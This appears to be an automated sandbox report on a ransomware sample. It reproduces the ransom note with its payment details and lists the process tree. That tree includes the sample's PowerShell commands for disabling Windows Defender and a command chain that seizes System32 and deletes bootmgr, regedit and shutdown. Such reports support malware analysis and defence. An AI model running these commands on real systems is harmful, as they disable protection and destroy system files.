Analysis

  • max time kernel
    349s
  • max time network
    1566s
  • platform
    windows11_x64
  • resource
    win11
  • submitted
    27-10-2021 09:06

General

  • Target

    b53415f6_lcvDB3iF4J.exe

Malware Config

Extracted

Path

C:\DECRYPT-FILES.TXT

Ransom Note
Ooops! All your important files are encrypted! [+] What happend to my computer? [+] All your important files are encrypted. No one can help you to restore files without our special decryptor. Backups were either encrypted or deleted. Shadow copies also removed. If you want to restore some of your files for free write to email (contact is below) and attach 2-3 encrypted files. You will receive decrypted samples. To decrypt other files you have to pay $250. [+] How do i pay? [+] Payment is accepted in Bitcoin only. Please check the current price of Bitcoin and buy some Bitcoins. And send the correct amount to the address specified at the bottom. [+] How can i contact? [+] 1.Download Tor browser (https://www.torproject.org/) 2.Create account on mail2tor (http://mail2tor2zyjdctd.onion/) 3.Write email to us ([email protected]) If you can't use tor in your country you can write to us on our temporary email address. [+] What if i already paid? [+] Send your Bitcoin wallet ID to e-mail provided above. Attention! 1.Do not modify encrypted files. 2.Do not try decrypt your data using third party software. 3.Do not turn off your computer. Our bitcoin address: bc1q80xu9j6wpesm2jg2w4pzpyhqjd5wsrg46ap6pe Our temporary e-mail address: [email protected]
URLs

http://mail2tor2zyjdctd.onion/

Signatures

  • Maze

    Ransomware family also known as ChaCha.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Disables Task Manager via registry modification
  • Executes dropped EXE 1 IoCs
  • Possible privilege escalation attempt 5 IoCs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Modifies file permissions 1 TTPs 5 IoCs
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe
    "C:\Users\Admin\AppData\Local\Temp\b53415f6_lcvDB3iF4J.exe"
    1⤵
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4228
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent NeverSend
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1616
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disable
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2916
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3152
    • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe
      "C:\Users\Admin\AppData\Local\Temp\VSSVC.exe"
      2⤵
      • Executes dropped EXE
      • Checks BIOS information in registry
      • Checks whether UAC is enabled
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of WriteProcessMemory
      PID:1556
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\System32 && icacls C:\Windows\System32 /grant %username%:F && takeown /f C:\Windows\System32\drivers && icacls C:\Windows\System32\drivers /grant %username%:F && takeown /f C:\Windows\System32\LogonUI.exe && icacls C:\Windows\System32\LogonUI.exe /grant %username%:F && takeown /f C:\bootmgr && icacls C:\bootmgr /grant %username%:F && attrib -s -r -h C:\bootmgr && del C:\bootmgr && takeown /f C:\Windows\regedit.exe && icacls C:\Windows\regedit.exe /grant %username%:F && del C:\Windows\regedit.exe && takeown /f C:\Windows\System32\shutdown.exe && icacls C:\Windows\System32\shutdown.exe /grant %username%:F && del C:\Windows\System32\shutdown.exe && Exit
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2064
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:3360
        • C:\Windows\SysWOW64\icacls.exe
          icacls C:\Windows\System32 /grant Admin:F
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4872
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32\drivers
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4732
        • C:\Windows\SysWOW64\icacls.exe
          icacls C:\Windows\System32\drivers /grant Admin:F
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:4300
        • C:\Windows\SysWOW64\takeown.exe
          takeown /f C:\Windows\System32\LogonUI.exe
          4⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:2280

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    MD5

    1f44ea38384d3df0d45b027825ce5a6a

    SHA1

    f50e4af252f1fdc7202968ab7e43fde2f8f9a944

    SHA256

    62cd2de3714542b49ff831972415e443743602129bf84e07268a51599c3ed9b8

    SHA512

    571df704ef24ec84ed7131d2d0ff6f961b191bdfcde0cd0e944e91cccbe7f8cd70a83c832be1c9c0694858bc4273fd053ee9480155d4e79f99965039a80794d5

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    f6b424b3b2b46b0ba51a86aa5d27959f

    SHA1

    ff69c0d6cc7d30d0bd895c5131ab253e304ace01

    SHA256

    0e3c0bab7069a23271c0777af1d0df58e865d024196456272eab41414ebdfeca

    SHA512

    27ff79ac5ac0a3e6fd826075731fc9c6215e0f2daf51f2860621b68717e5704392f9c5f7c78c4a3f8eadda3ba15771bf267d5d893b7bd38e515d2029224b19a3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    283293fda4cdb8929f1547c55e29fe42

    SHA1

    f903a9daca3a941302f02b0f7321764a95edf8f5

    SHA256

    fe837edb430596581828f0fe79fdddaf46ef9e2ed8f47b9767ad57528420ba1a

    SHA512

    a8ca3dbd66fd6b999a64d97b8e262213823fea9080902ae86d25b7e544efc67d4955fcf325c44662f16123a80b33e87ab7c0cb104d7e07a1c01e3440733459ce

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    MD5

    2665375f88d32cc80aa7a57fde89a738

    SHA1

    b365c5004534bb184be68dd681cd9bd171011795

    SHA256

    73649e60220f41cc8944da72547aceb58de5bbde117db8c32cc482fe84850b5e

    SHA512

    1885f33b185cfe3ab8908866791e7b5009f0709aa094dde69f46b904b8959b35680113fcfb193a963ded72d922049535870d2523ff0e8fe92debd915429f3ba8

  • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe

    MD5

    e4f24d91d8e7290ffd6afc8aa01c6d63

    SHA1

    b552c6af33cc5a62379028687924406cba8ff74d

    SHA256

    5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

    SHA512

    ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

  • C:\Users\Admin\AppData\Local\Temp\VSSVC.exe

    MD5

    e4f24d91d8e7290ffd6afc8aa01c6d63

    SHA1

    b552c6af33cc5a62379028687924406cba8ff74d

    SHA256

    5eb371a9cf91b981502d3ee26880b8c15f62b3eeaaa2484d523a2a03a233bebb

    SHA512

    ae0d0c2494b0a4753039f4fdf6a589848a44a386b759511aab9374e9446f84c39895ec2c9d00ed0ce3df07663a9f14e2f21f42a85966336b0e35204da0d82e00

  • memory/1556-187-0x0000000000CA0000-0x0000000000CA1000-memory.dmp

    Filesize

    4KB

  • memory/1556-202-0x0000000005540000-0x0000000005541000-memory.dmp

    Filesize

    4KB

  • memory/1556-162-0x0000000000000000-mapping.dmp

  • memory/1616-225-0x0000000007500000-0x0000000007501000-memory.dmp

    Filesize

    4KB

  • memory/1616-217-0x0000000008590000-0x0000000008591000-memory.dmp

    Filesize

    4KB

  • memory/1616-157-0x0000000000000000-mapping.dmp

  • memory/1616-161-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

    Filesize

    4KB

  • memory/1616-175-0x0000000007300000-0x0000000007301000-memory.dmp

    Filesize

    4KB

  • memory/1616-184-0x0000000007302000-0x0000000007303000-memory.dmp

    Filesize

    4KB

  • memory/1616-164-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

    Filesize

    4KB

  • memory/1616-213-0x00000000081C0000-0x00000000081C1000-memory.dmp

    Filesize

    4KB

  • memory/1616-258-0x000000007F2E0000-0x000000007F2E1000-memory.dmp

    Filesize

    4KB

  • memory/1616-233-0x0000000007305000-0x0000000007307000-memory.dmp

    Filesize

    8KB

  • memory/2064-300-0x0000000000000000-mapping.dmp

  • memory/2280-305-0x0000000000000000-mapping.dmp

  • memory/2876-155-0x00000000062E0000-0x0000000006886000-memory.dmp

    Filesize

    5.6MB

  • memory/2876-148-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

    Filesize

    4KB

  • memory/2876-152-0x0000000006480000-0x0000000006481000-memory.dmp

    Filesize

    4KB

  • memory/2876-151-0x00000000063E0000-0x00000000063E1000-memory.dmp

    Filesize

    4KB

  • memory/2876-150-0x0000000006890000-0x0000000006891000-memory.dmp

    Filesize

    4KB

  • memory/2876-153-0x0000000006E40000-0x0000000006E41000-memory.dmp

    Filesize

    4KB

  • memory/2876-154-0x0000000006660000-0x0000000006661000-memory.dmp

    Filesize

    4KB

  • memory/2916-181-0x0000000004D12000-0x0000000004D13000-memory.dmp

    Filesize

    4KB

  • memory/2916-158-0x0000000000000000-mapping.dmp

  • memory/2916-235-0x0000000004D15000-0x0000000004D17000-memory.dmp

    Filesize

    8KB

  • memory/2916-180-0x0000000004D10000-0x0000000004D11000-memory.dmp

    Filesize

    4KB

  • memory/2916-170-0x0000000004B80000-0x0000000004B81000-memory.dmp

    Filesize

    4KB

  • memory/2916-169-0x0000000004B80000-0x0000000004B81000-memory.dmp

    Filesize

    4KB

  • memory/2916-266-0x000000007EFB0000-0x000000007EFB1000-memory.dmp

    Filesize

    4KB

  • memory/3152-178-0x0000000006880000-0x0000000006881000-memory.dmp

    Filesize

    4KB

  • memory/3152-159-0x0000000000000000-mapping.dmp

  • memory/3152-198-0x0000000007600000-0x0000000007601000-memory.dmp

    Filesize

    4KB

  • memory/3152-171-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

    Filesize

    4KB

  • memory/3152-172-0x0000000002AD0000-0x0000000002AD1000-memory.dmp

    Filesize

    4KB

  • memory/3152-234-0x0000000006885000-0x0000000006887000-memory.dmp

    Filesize

    8KB

  • memory/3152-182-0x0000000006882000-0x0000000006883000-memory.dmp

    Filesize

    4KB

  • memory/3360-301-0x0000000000000000-mapping.dmp

  • memory/4228-236-0x0000000006F45000-0x0000000006F47000-memory.dmp

    Filesize

    8KB

  • memory/4228-163-0x00000000030C0000-0x00000000030C1000-memory.dmp

    Filesize

    4KB

  • memory/4228-229-0x0000000008610000-0x0000000008611000-memory.dmp

    Filesize

    4KB

  • memory/4228-262-0x000000007EE50000-0x000000007EE51000-memory.dmp

    Filesize

    4KB

  • memory/4228-174-0x0000000007580000-0x0000000007581000-memory.dmp

    Filesize

    4KB

  • memory/4228-160-0x00000000030C0000-0x00000000030C1000-memory.dmp

    Filesize

    4KB

  • memory/4228-167-0x0000000004A20000-0x0000000004A21000-memory.dmp

    Filesize

    4KB

  • memory/4228-183-0x0000000006F42000-0x0000000006F43000-memory.dmp

    Filesize

    4KB

  • memory/4228-209-0x0000000007CB0000-0x0000000007CB1000-memory.dmp

    Filesize

    4KB

  • memory/4228-173-0x0000000006F40000-0x0000000006F41000-memory.dmp

    Filesize

    4KB

  • memory/4228-195-0x0000000007350000-0x0000000007351000-memory.dmp

    Filesize

    4KB

  • memory/4228-156-0x0000000000000000-mapping.dmp

  • memory/4300-304-0x0000000000000000-mapping.dmp

  • memory/4732-303-0x0000000000000000-mapping.dmp

  • memory/4872-302-0x0000000000000000-mapping.dmp